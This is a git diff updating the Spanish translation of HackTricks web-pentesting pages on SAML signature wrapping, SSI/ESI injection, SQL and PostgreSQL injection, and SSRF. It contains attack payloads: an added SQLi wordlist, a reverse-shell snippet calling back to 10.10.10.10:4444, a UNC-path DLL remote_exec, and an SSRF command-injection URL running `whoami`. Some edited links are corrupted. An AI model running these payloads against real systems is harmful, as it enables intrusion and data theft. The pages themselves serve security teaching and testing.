../../banners/hacktricks-training.md}} ## Información Básica + {{#ref}} saml-basics.md {{#endref}} @@ -38,11 +37,11 @@ Ejecutar el programa contra REXML 3.2.4 o versiones anteriores resultaría en la First child in original doc: Y First child after round-trip: Z ``` -Así es como REXML vio el documento XML original del programa anterior: +Esto es lo que REXML vio del documento XML original del programa anterior: ![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (1001).png>) -Y así es como lo vio después de una ronda de análisis y serialización: +Y esto es lo que vio después de una ronda de análisis y serialización: ![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>) @@ -59,7 +58,7 @@ Los siguientes ataques se basan en [**esta publicación de blog**](https://epi05 ### XSW #1 -- **Estrategia**: Se agrega un nuevo elemento raíz que contiene la firma. +- **Estrategia**: Se añade un nuevo elemento raíz que contiene la firma. - **Implicación**: El validador puede confundirse entre el legítimo "Response -> Assertion -> Subject" y el "malvado nuevo Response -> Assertion -> Subject" del atacante, lo que lleva a problemas de integridad de datos. ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../images/image (506).png>) @@ -157,7 +156,7 @@ Para más información sobre XSLT, ve a: ../xslt-server-side-injection-extensible-stylesheet-language-transformations.md {{#endref}} -Las Transformaciones de Lenguaje de Hojas de Estilo Extensible (XSLT) se pueden usar para transformar documentos XML en varios formatos como HTML, JSON o PDF. Es crucial notar que **las transformaciones XSLT se realizan antes de la verificación de la firma digital**. Esto significa que un ataque puede ser exitoso incluso sin una firma válida; una firma autofirmada o inválida es suficiente para proceder. +Las Transformaciones de Lenguaje de Hojas de Estilo Extensible (XSLT) se pueden usar para transformar documentos XML en varios formatos como HTML, JSON o PDF. Es crucial notar que **las transformaciones XSLT se realizan antes de la verificación de la firma digital**. Esto significa que un ataque puede tener éxito incluso sin una firma válida; una firma autofirmada o inválida es suficiente para proceder. Aquí puedes encontrar un **POC** para verificar este tipo de vulnerabilidades, en la página de hacktricks mencionada al principio de esta sección puedes encontrar cargas útiles. ```xml @@ -179,7 +178,7 @@ Aquí puedes encontrar un **POC** para verificar este tipo de vulnerabilidades, ... ``` -### Herramienta +### Tool También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para generar el POC a partir de una solicitud SAML para probar posibles vulnerabilidades de XSLT. @@ -187,21 +186,21 @@ Consulta también esta charla: [https://www.youtube.com/watch?v=WHn-6xHL7mI](htt ## Exclusión de Firma XML -La **Exclusión de Firma XML** observa el comportamiento de las implementaciones SAML cuando el elemento de Firma no está presente. Si este elemento falta, **la validación de la firma puede no ocurrir**, haciéndolo vulnerable. Es posible probar esto alterando los contenidos que normalmente son verificados por la firma. +La **Exclusión de Firma XML** observa el comportamiento de las implementaciones de SAML cuando el elemento Signature no está presente. Si este elemento falta, **la validación de la firma puede no ocurrir**, haciéndolo vulnerable. Es posible probar esto alterando los contenidos que normalmente son verificados por la firma. ![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../images/image (457).png>) -### Herramienta +### Tool -También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercepta la Respuesta SAML y haz clic en `Remove Signatures`. Al hacerlo, se eliminan **todos** los elementos de Firma. +También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercepta la Respuesta SAML y haz clic en `Remove Signatures`. Al hacerlo, se eliminan **todos** los elementos Signature. -Con las firmas eliminadas, permite que la solicitud continúe hacia el objetivo. Si la Firma no es requerida por el Servicio +Con las firmas eliminadas, permite que la solicitud continúe hacia el objetivo. Si la firma no es requerida por el Servicio ## Falsificación de Certificado ## Falsificación de Certificado -La Falsificación de Certificado es una técnica para probar si un **Proveedor de Servicios (SP) verifica adecuadamente que un Mensaje SAML está firmado** por un Proveedor de Identidad (IdP) de confianza. Implica usar un \***certificado autofirmado** para firmar la Respuesta o Afirmación SAML, lo que ayuda a evaluar el proceso de validación de confianza entre SP e IdP. +La Falsificación de Certificado es una técnica para probar si un **Proveedor de Servicios (SP) verifica correctamente que un Mensaje SAML está firmado** por un Proveedor de Identidad (IdP) de confianza. Implica usar un \***certificado autofirmado** para firmar la Respuesta o Afirmación SAML, lo que ayuda a evaluar el proceso de validación de confianza entre SP e IdP. ### Cómo Realizar la Falsificación de Certificado diff --git a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md index 7ae39b0c1..2b1dee240 100644 --- a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md +++ b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md @@ -2,16 +2,16 @@ {{#include ../banners/hacktricks-training.md}} -## Información Básica sobre Server Side Inclusion +## Server Side Inclusion Basic Information -**(Introducción tomada de** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)** +**(Introducción tomada de** [**documentos de Apache**](https://httpd.apache.org/docs/current/howto/ssi.html)**)** SSI (Server Side Includes) son directivas que se **colocan en páginas HTML y se evalúan en el servidor** mientras se sirven las páginas. Te permiten **agregar contenido generado dinámicamente** a una página HTML existente, sin tener que servir toda la página a través de un programa CGI u otra tecnología dinámica.\ Por ejemplo, podrías colocar una directiva en una página HTML existente, como: `` -Y, cuando se sirva la página, este fragmento será evaluado y reemplazado por su valor: +Y, cuando se sirve la página, este fragmento será evaluado y reemplazado por su valor: `Tuesday, 15-Jan-2013 19:28:54 EST` @@ -54,10 +54,14 @@ Una expresión típica de SSI tiene el siguiente formato: ``` -## Edge Side Inclusion +## Inclusión Lateral de Servidor -Hay un problema **con el almacenamiento en caché de información o aplicaciones dinámicas** ya que parte del contenido puede haber **variado** para la próxima vez que se recupere el contenido. Esto es para lo que se utiliza **ESI**, para indicar utilizando etiquetas ESI el **contenido dinámico que necesita ser generado** antes de enviar la versión en caché.\ -Si un **atacante** es capaz de **inyectar una etiqueta ESI** dentro del contenido en caché, entonces podría ser capaz de **inyectar contenido arbitrario** en el documento antes +Hay un problema **con el almacenamiento en caché de información o aplicaciones dinámicas** ya que parte del contenido puede haber **variado** para la próxima vez que se recupere el contenido. Para esto se utiliza **ESI**, para indicar mediante etiquetas ESI el **contenido dinámico que necesita ser generado** antes de enviar la versión en caché.\ +Si un **atacante** es capaz de **inyectar una etiqueta ESI** dentro del contenido en caché, entonces podría ser capaz de **inyectar contenido arbitrario** en el documento antes de que se envíe a los usuarios. + +### Detección de ESI + +El siguiente **encabezado** en una respuesta del servidor significa que el servidor está utilizando ESI: ``` Surrogate-Control: content="ESI/1.0" ``` @@ -91,16 +95,16 @@ hello - **Vars**: Soporta la directiva ``. Útil para eludir filtros XSS - **Cookie**: Las cookies del documento son accesibles para el motor ESI - **Encabezados de upstream requeridos**: Las aplicaciones de sustitución no procesarán las declaraciones ESI a menos que la aplicación de upstream proporcione los encabezados -- **Lista blanca de hosts**: En este caso, las inclusiones ESI solo son posibles desde hosts de servidor permitidos, haciendo que SSRF, por ejemplo, solo sea posible contra esos hosts +- **Lista blanca de hosts**: En este caso, los includes de ESI solo son posibles desde hosts de servidor permitidos, haciendo que SSRF, por ejemplo, solo sea posible contra esos hosts | **Software** | **Includes** | **Vars** | **Cookies** | **Encabezados de upstream requeridos** | **Lista blanca de hosts** | | :--------------------------: | :----------: | :------: | :---------: | :-----------------------------------: | :-----------------------: | -| Squid3 | Sí | Sí | Sí | Sí | No | -| Varnish Cache | Sí | No | No | Sí | Sí | -| Fastly | Sí | No | No | No | Sí | -| Akamai ESI Test Server (ETS) | Sí | Sí | Sí | No | No | -| NodeJS esi | Sí | Sí | Sí | No | No | -| NodeJS nodesi | Sí | No | No | No | Opcional | +| Squid3 | Sí | Sí | Sí | Sí | No | +| Varnish Cache | Sí | No | No | Sí | Sí | +| Fastly | Sí | No | No | No | Sí | +| Akamai ESI Test Server (ETS) | Sí | Sí | Sí | No | No | +| NodeJS esi | Sí | Sí | Sí | No | No | +| NodeJS nodesi | Sí | No | No | No | Opcional | #### XSS @@ -108,7 +112,7 @@ La siguiente directiva ESI cargará un archivo arbitrario dentro de la respuesta ```xml ``` -#### Bypass client XSS protection +#### Eludir la protección XSS del cliente ```xml x=>alert(/Chrome%20XSS%20filter%20bypass/);> @@ -150,7 +154,7 @@ Lo siguiente añadirá un encabezado `Location` a la respuesta ``` #### Agregar encabezado -- Agregar encabezado en solicitud forzada +- Agregar encabezado en la solicitud forzada ```xml @@ -183,7 +187,7 @@ Es posible usar la sintaxis de **`eXtensible Stylesheet Language Transformations ```xml ``` -XSLT file: +XSLT archivo: ```xml ]> @@ -191,6 +195,7 @@ XSLT file: ``` Revisa la página XSLT: + {{#ref}} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {{#endref}} @@ -203,6 +208,7 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md ## Lista de Detección de Fuerza Bruta + {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt {{#endref}} diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md index 3aefe277f..86336287c 100644 --- a/src/pentesting-web/sql-injection/README.md +++ b/src/pentesting-web/sql-injection/README.md @@ -4,7 +4,7 @@ ## ¿Qué es la inyección SQL? -Una **inyección SQL** es una falla de seguridad que permite a los atacantes **interferir con las consultas de la base de datos** de una aplicación. Esta vulnerabilidad puede permitir a los atacantes **ver**, **modificar** o **eliminar** datos a los que no deberían tener acceso, incluyendo información de otros usuarios o cualquier dato al que la aplicación pueda acceder. Tales acciones pueden resultar en cambios permanentes en la funcionalidad o contenido de la aplicación o incluso en la compromisión del servidor o denegación de servicio. +Una **inyección SQL** es una falla de seguridad que permite a los atacantes **interferir con las consultas de la base de datos** de una aplicación. Esta vulnerabilidad puede permitir a los atacantes **ver**, **modificar** o **eliminar** datos a los que no deberían tener acceso, incluyendo información de otros usuarios o cualquier dato al que la aplicación pueda acceder. Tales acciones pueden resultar en cambios permanentes en la funcionalidad o contenido de la aplicación o incluso en la compromisión del servidor o en la denegación de servicio. ## Detección de puntos de entrada @@ -66,9 +66,93 @@ page.asp?id=1 and 1=2 -- results in false ``` Esta lista de palabras fue creada para intentar **confirmar SQLinjections** de la manera propuesta: -{{#file}} -sqli-logic.txt -{{#endfile}} +
+True SQLi +``` +true +1 +1>0 +2-1 +0+1 +1*1 +1%2 +1 & 1 +1&1 +1 && 2 +1&&2 +-1 || 1 +-1||1 +-1 oR 1=1 +1 aND 1=1 +(1)oR(1=1) +(1)aND(1=1) +-1/**/oR/**/1=1 +1/**/aND/**/1=1 +1' +1'>'0 +2'-'1 +0'+'1 +1'*'1 +1'%'2 +1'&'1'='1 +1'&&'2'='1 +-1'||'1'='1 +-1'oR'1'='1 +1'aND'1'='1 +1" +1">"0 +2"-"1 +0"+"1 +1"*"1 +1"%"2 +1"&"1"="1 +1"&&"2"="1 +-1"||"1"="1 +-1"oR"1"="1 +1"aND"1"="1 +1` +1`>`0 +2`-`1 +0`+`1 +1`*`1 +1`%`2 +1`&`1`=`1 +1`&&`2`=`1 +-1`||`1`=`1 +-1`oR`1`=`1 +1`aND`1`=`1 +1')>('0 +2')-('1 +0')+('1 +1')*('1 +1')%('2 +1')&'1'=('1 +1')&&'1'=('1 +-1')||'1'=('1 +-1')oR'1'=('1 +1')aND'1'=('1 +1")>("0 +2")-("1 +0")+("1 +1")*("1 +1")%("2 +1")&"1"=("1 +1")&&"1"=("1 +-1")||"1"=("1 +-1")oR"1"=("1 +1")aND"1"=("1 +1`)>(`0 +2`)-(`1 +0`)+(`1 +1`)*(`1 +1`)%(`2 +1`)&`1`=(`1 +1`)&&`1`=(`1 +-1`)||`1`=(`1 +-1`)oR`1`=(`1 +1`)aND`1`=(`1 +``` +
### Confirmando con Tiempos @@ -129,11 +213,12 @@ La mejor manera de identificar el back-end es intentar ejecutar funciones de los ``` También, si tienes acceso a la salida de la consulta, podrías hacer que **imprima la versión de la base de datos**. -> [!NOTE] +> [!TIP] > A continuación, vamos a discutir diferentes métodos para explotar diferentes tipos de SQL Injection. Usaremos MySQL como ejemplo. ### Identificando con PortSwigger + {{#ref}} https://portswigger.net/web-security/sql-injection/cheat-sheet {{#endref}} @@ -172,7 +257,7 @@ Selecciona más y más valores nulos hasta que la consulta sea correcta: 1' UNION SELECT null,null-- - Not working 1' UNION SELECT null,null,null-- - Worked ``` -_Se deben usar valores `null`, ya que en algunos casos el tipo de las columnas de ambos lados de la consulta debe ser el mismo y null es válido en todos los casos._ +_Se deben usar valores `null` ya que en algunos casos el tipo de las columnas de ambos lados de la consulta debe ser el mismo y null es válido en todos los casos._ ### Extraer nombres de bases de datos, nombres de tablas y nombres de columnas @@ -195,7 +280,7 @@ Cuando la salida de una consulta es visible, pero una inyección basada en unió Esto se puede lograr mediante el uso de técnicas de inyección ciega junto con las tablas predeterminadas específicas de su Sistema de Gestión de Bases de Datos (DBMS) objetivo. Para entender estas tablas predeterminadas, se aconseja consultar la documentación del DBMS objetivo. -Una vez que se ha extraído la consulta, es necesario adaptar su carga útil para cerrar de manera segura la consulta original. Posteriormente, se agrega una consulta de unión a su carga útil, facilitando la explotación de la inyección basada en unión recién accesible. +Una vez que se ha extraído la consulta, es necesario adaptar su payload para cerrar de manera segura la consulta original. Posteriormente, se añade una consulta de unión a su payload, facilitando la explotación de la inyección basada en unión recién accesible. Para obtener información más completa, consulte el artículo completo disponible en [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f). @@ -208,18 +293,18 @@ Siguiendo un flujo similar al de la explotación basada en unión, podría logra ``` ## Explotando Blind SQLi -En este caso, no puedes ver los resultados de la consulta o los errores, pero puedes **distinguir** cuando la consulta **devuelve** una respuesta **verdadera** o **falsa** porque hay diferentes contenidos en la página.\ +En este caso, no puedes ver los resultados de la consulta ni los errores, pero puedes **distinguir** cuando la consulta **devuelve** una respuesta **verdadera** o **falsa** porque hay diferentes contenidos en la página.\ En este caso, puedes abusar de ese comportamiento para volcar la base de datos carácter por carácter: ```sql ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A' ``` -## Explotando Error Blind SQLi +## Explotación de Error Blind SQLi Este es el **mismo caso que antes** pero en lugar de distinguir entre una respuesta verdadera/falsa de la consulta, puedes **distinguir entre** un **error** en la consulta SQL o no (quizás porque el servidor HTTP se bloquea). Por lo tanto, en este caso puedes forzar un SQLerror cada vez que adivinas correctamente el carácter: ```sql AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - ``` -## Explotación de SQLi Basado en Tiempo +## Explotando SQLi Basado en Tiempo En este caso **no hay** ninguna manera de **distinguir** la **respuesta** de la consulta basada en el contexto de la página. Pero, puedes hacer que la página **tarde más en cargar** si el carácter adivinado es correcto. Ya hemos visto esta técnica en uso antes para [confirmar una vulnerabilidad SQLi](#confirming-with-timing). ```sql @@ -227,7 +312,7 @@ En este caso **no hay** ninguna manera de **distinguir** la **respuesta** de la ``` ## Consultas Apiladas -Puedes usar consultas apiladas para **ejecutar múltiples consultas en sucesión**. Ten en cuenta que, aunque las consultas posteriores se ejecutan, los **resultados** **no se devuelven a la aplicación**. Por lo tanto, esta técnica es principalmente útil en relación con **vulnerabilidades ciegas** donde puedes usar una segunda consulta para activar una búsqueda DNS, un error condicional o un retraso de tiempo. +Puedes usar consultas apiladas para **ejecutar múltiples consultas en sucesión**. Ten en cuenta que, aunque las consultas subsiguientes se ejecutan, los **resultados** **no se devuelven a la aplicación**. Por lo tanto, esta técnica es principalmente útil en relación con **vulnerabilidades ciegas** donde puedes usar una segunda consulta para activar una búsqueda DNS, un error condicional o un retraso de tiempo. **Oracle** no soporta **consultas apiladas.** **MySQL, Microsoft** y **PostgreSQL** las soportan: `QUERY-1-HERE; QUERY-2-HERE` @@ -243,11 +328,11 @@ a' UNION SELECT EXTRACTVALUE(xmltype(' -Crear una UDF CLR (Función Definida por el Usuario en el Common Language Runtime), que es código escrito en cualquier lenguaje .NET y compilado en un DLL, para ser cargado dentro de MSSQL para ejecutar funciones personalizadas, es un proceso que requiere acceso `dbo`. Esto significa que generalmente es factible solo cuando la conexión a la base de datos se realiza como `sa` o con un rol de Administrador. +Crear una UDF CLR (Función Definida por el Usuario en el Tiempo de Ejecución del Lenguaje Común), que es código escrito en cualquier lenguaje .NET y compilado en un DLL, para ser cargado dentro de MSSQL para ejecutar funciones personalizadas, es un proceso que requiere acceso `dbo`. Esto significa que generalmente es factible solo cuando la conexión a la base de datos se realiza como `sa` o con un rol de Administrador. Un proyecto de Visual Studio y las instrucciones de instalación se proporcionan en [este repositorio de Github](https://github.com/infiniteloopltd/SQLHttp) para facilitar la carga del binario en MSSQL como una asamblea CLR, permitiendo así la ejecución de solicitudes HTTP GET desde dentro de MSSQL. @@ -127,7 +127,7 @@ return new SqlString(html); } } ``` -Antes de ejecutar el comando SQL `CREATE ASSEMBLY`, se recomienda ejecutar el siguiente fragmento SQL para agregar el hash SHA512 de la asamblea a la lista de asambleas de confianza del servidor (visible a través de `select * from sys.trusted_assemblies;`): +Antes de ejecutar el comando SQL `CREATE ASSEMBLY`, se recomienda ejecutar el siguiente fragmento SQL para agregar el hash SHA512 de la asamblea a la lista de ensamblajes de confianza del servidor (visible a través de `select * from sys.trusted_assemblies;`): ```sql EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil'; ``` @@ -143,7 +143,7 @@ SELECT dbo.http(@url); Un método conciso para extraer el contenido completo de una tabla en una sola consulta implica utilizar la cláusula `FOR JSON`. Este enfoque es más sucinto que usar la cláusula `FOR XML`, que requiere un modo específico como "raw". La cláusula `FOR JSON` es preferida por su brevedad. -Aquí se muestra cómo recuperar el esquema, las tablas y las columnas de la base de datos actual: +Aquí se explica cómo recuperar el esquema, las tablas y las columnas de la base de datos actual: ````sql https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto-- In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done: diff --git a/src/pentesting-web/sql-injection/postgresql-injection/README.md b/src/pentesting-web/sql-injection/postgresql-injection/README.md index 280ccd496..5a931e446 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/README.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/README.md @@ -2,9 +2,10 @@ {{#include ../../../banners/hacktricks-training.md}} + --- -**Esta página tiene como objetivo explicar diferentes trucos que podrían ayudarte a explotar una inyección SQL encontrada en una base de datos PostgreSQL y complementar los trucos que puedes encontrar en** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) +**Esta página tiene como objetivo explicar diferentes trucos que podrían ayudarte a explotar una inyección SQL encontrada en una base de datos de postgresql y complementar los trucos que puedes encontrar en** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) ## Interacción de red - Escalación de privilegios, escáner de puertos, divulgación de respuesta de desafío NTLM y exfiltración @@ -18,6 +19,7 @@ Puedes [**leer este ejemplo**](dblink-lo_import-data-exfiltration.md) para ver u Consulta cómo comprometer el host y escalar privilegios desde PostgreSQL en: + {{#ref}} ../../../network-services-pentesting/pentesting-postgresql.md {{#endref}} @@ -27,11 +29,11 @@ Consulta cómo comprometer el host y escalar privilegios desde PostgreSQL en: ### Funciones de cadena de PostgreSQL Manipular cadenas podría ayudarte a **eludir WAFs u otras restricciones**.\ -[**En esta página**](https://www.postgresqltutorial.com/postgresql-string-functions/)**puedes encontrar algunas funciones de cadena útiles.** +[**En esta página** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**puedes encontrar algunas funciones de cadenas útiles.** ### Consultas apiladas -Recuerda que PostgreSQL admite consultas apiladas, pero varias aplicaciones generarán un error si se devuelven 2 respuestas cuando se espera solo 1. Sin embargo, aún puedes abusar de las consultas apiladas a través de la inyección de tiempo: +Recuerda que PostgreSQL admite consultas apiladas, pero varias aplicaciones generarán un error si se devuelven 2 respuestas cuando se espera solo 1. Pero, aún puedes abusar de las consultas apiladas a través de inyección de tiempo: ``` id=1; select pg_sleep(10);-- - 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- - @@ -46,7 +48,7 @@ SELECT query_to_xml('select * from pg_user',true,true,''); ``` **database_to_xml** -Esta función volcará toda la base de datos en formato XML en solo 1 fila (ten cuidado si la base de datos es muy grande, ya que podrías causar un DoS o incluso afectar a tu propio cliente): +Esta función volcará toda la base de datos en formato XML en solo 1 fila (ten cuidado si la base de datos es muy grande, ya que podrías provocar un DoS o incluso afectar a tu propio cliente): ```sql SELECT database_to_xml(true,true,''); ``` diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index 92fb32948..72001972b 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -73,9 +73,9 @@ Sin embargo, cuando se intentó en versiones superiores **se mostró el siguient ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro. ``` -Este error se explica en la [PostgreSQL documentation](https://www.postgresql.org/docs/current/static/xfunc-c.html): +Este error se explica en la [documentación de PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html): -> Para asegurar que un archivo de objeto cargado dinámicamente no se cargue en un servidor incompatible, PostgreSQL verifica que el archivo contenga un “bloque mágico” con el contenido apropiado. Esto permite al servidor detectar incompatibilidades obvias, como código compilado para una versión principal diferente de PostgreSQL. Se requiere un bloque mágico a partir de PostgreSQL 8.2. Para incluir un bloque mágico, escribe esto en uno (y solo uno) de los archivos fuente del módulo, después de haber incluido el encabezado fmgr.h: +> Para asegurar que un archivo de objeto cargado dinámicamente no se cargue en un servidor incompatible, PostgreSQL verifica que el archivo contenga un "bloque mágico" con el contenido apropiado. Esto permite al servidor detectar incompatibilidades obvias, como código compilado para una versión principal diferente de PostgreSQL. Se requiere un bloque mágico a partir de PostgreSQL 8.2. Para incluir un bloque mágico, escribe esto en uno (y solo uno) de los archivos fuente del módulo, después de haber incluido el encabezado fmgr.h: > > `#ifdef PG_MODULE_MAGIC`\ > `PG_MODULE_MAGIC;`\ @@ -176,7 +176,7 @@ CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.1 SELECT remote_exec('calc.exe', 2); DROP FUNCTION remote_exec(text, integer); ``` -En [**aquí** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)puedes encontrar este reverse-shell: +En [**aquí** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) puedes encontrar este reverse-shell: ```c #define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10" #define PG_REVSHELL_CALLHOME_PORT "4444" @@ -283,8 +283,8 @@ select connect_back('192.168.100.54', 1234); ``` _Tenga en cuenta que no necesita agregar la extensión `.dll`, ya que la función de creación la añadirá._ -Para más información **lea la** [**publicación original aquí**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\ -En esa publicación **este fue el** [**código utilizado para generar la extensión de postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_para aprender cómo compilar una extensión de postgres, lea cualquiera de las versiones anteriores_).\ +Para más información **lea la** [**publicación original aquí**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\ +En esa publicación **este fue el** [**código utilizado para generar la extensión de postgres**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_para aprender a compilar una extensión de postgres, lea cualquiera de las versiones anteriores_).\ En la misma página se **proporcionó este exploit para automatizar** esta técnica: ```python #!/usr/bin/env python3 diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md index 124261245..a3d776c82 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md @@ -91,7 +91,7 @@ SELECT lsdir("/"); #List dir ``` {{#endtab}} -{{#tab name="Encontrar la carpeta W"}} +{{#tab name="Encontrar carpeta W"}} ```sql CREATE OR REPLACE FUNCTION findw (dir text) RETURNS VARCHAR(65535) stable @@ -287,6 +287,7 @@ SELECT req3('https://google.com'); #Request using python3 Consulta la siguiente página: + {{#ref}} pl-pgsql-password-bruteforce.md {{#endref}} @@ -295,6 +296,7 @@ pl-pgsql-password-bruteforce.md Consulta la siguiente página: + {{#ref}} rce-with-postgresql-extensions.md {{#endref}} diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/README.md b/src/pentesting-web/ssrf-server-side-request-forgery/README.md index 3b9034a0a..b34600d29 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/README.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/README.md @@ -38,7 +38,7 @@ Lee más aquí: [https://portswigger.net/web-security/ssrf](https://portswigger. - **file://** - El esquema de URL `file://` se menciona, apuntando directamente a `/etc/passwd`: `file:///etc/passwd` - **dict://** -- El esquema de URL DICT se describe como utilizado para acceder a definiciones o listas de palabras a través del protocolo DICT. Un ejemplo dado ilustra una URL construida que apunta a una palabra específica, base de datos y número de entrada, así como un caso de un script PHP que podría ser potencialmente mal utilizado para conectarse a un servidor DICT usando credenciales proporcionadas por el atacante: `dict://;@:/d:::` +- El esquema de URL DICT se describe como utilizado para acceder a definiciones o listas de palabras a través del protocolo DICT. Un ejemplo dado ilustra una URL construida que apunta a una palabra específica, base de datos y número de entrada, así como un caso de un script PHP que podría ser potencialmente mal utilizado para conectarse a un servidor DICT utilizando credenciales proporcionadas por el atacante: `dict://;@:/d:::` - **SFTP://** - Identificado como un protocolo para la transferencia segura de archivos a través de shell seguro, se proporciona un ejemplo que muestra cómo un script PHP podría ser explotado para conectarse a un servidor SFTP malicioso: `url=sftp://generic.com:11111/` - **TFTP://** @@ -60,12 +60,12 @@ From https://twitter.com/har1sec/status/1182255952055164929 file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} ``` - **Gopher://** -- Se discute la capacidad del protocolo Gopher para especificar IP, puerto y bytes para la comunicación con el servidor, junto con herramientas como Gopherus y remote-method-guesser para crear payloads. Se ilustran dos usos distintos: +- Se discute la capacidad del protocolo Gopher para especificar IP, puerto y bytes para la comunicación con el servidor, junto con herramientas como Gopherus y remote-method-guesser para crear cargas útiles. Se ilustran dos usos distintos: ### Gopher:// Usando este protocolo puedes especificar la **IP, puerto y bytes** que deseas que el servidor **envíe**. Luego, básicamente puedes explotar un SSRF para **comunicarte con cualquier servidor TCP** (pero necesitas saber cómo hablar con el servicio primero).\ -Afortunadamente, puedes usar [Gopherus](https://github.com/tarunkant/Gopherus) para crear payloads para varios servicios. Además, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) se puede usar para crear payloads _gopher_ para servicios _Java RMI_. +Afortunadamente, puedes usar [Gopherus](https://github.com/tarunkant/Gopherus) para crear cargas útiles para varios servicios. Además, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) se puede usar para crear cargas útiles _gopher_ para servicios _Java RMI_. **Gopher smtp** ``` @@ -110,7 +110,7 @@ El software de análisis en los servidores a menudo registra el encabezado Refer ## SSRF a través de datos SNI del certificado -Una mala configuración que podría habilitar la conexión a cualquier backend a través de una configuración simple se ilustra con un ejemplo de configuración de Nginx: +Una mala configuración que podría permitir la conexión a cualquier backend a través de una configuración simple se ilustra con un ejemplo de configuración de Nginx: ``` stream { server { @@ -121,7 +121,7 @@ ssl_preread on; } } ``` -En esta configuración, el valor del campo Server Name Indication (SNI) se utiliza directamente como la dirección del backend. Esta configuración expone una vulnerabilidad a Server-Side Request Forgery (SSRF), que puede ser explotada simplemente especificando la dirección IP o el nombre de dominio deseado en el campo SNI. A continuación se muestra un ejemplo de explotación para forzar una conexión a un backend arbitrario, como `internal.host.com`, utilizando el comando `openssl`: +En esta configuración, el valor del campo de Indicación de Nombre del Servidor (SNI) se utiliza directamente como la dirección del backend. Esta configuración expone una vulnerabilidad a la Falsificación de Solicitudes del Lado del Servidor (SSRF), que puede ser explotada simplemente especificando la dirección IP o el nombre de dominio deseado en el campo SNI. A continuación se muestra un ejemplo de explotación para forzar una conexión a un backend arbitrario, como `internal.host.com`, utilizando el comando `openssl`: ```bash openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf ``` @@ -129,11 +129,11 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf ## SSRF con Inyección de Comandos -Puede valer la pena probar una carga útil como: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` +Puede valer la pena intentar una carga útil como: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` ## Renderizado de PDFs -Si la página web está creando 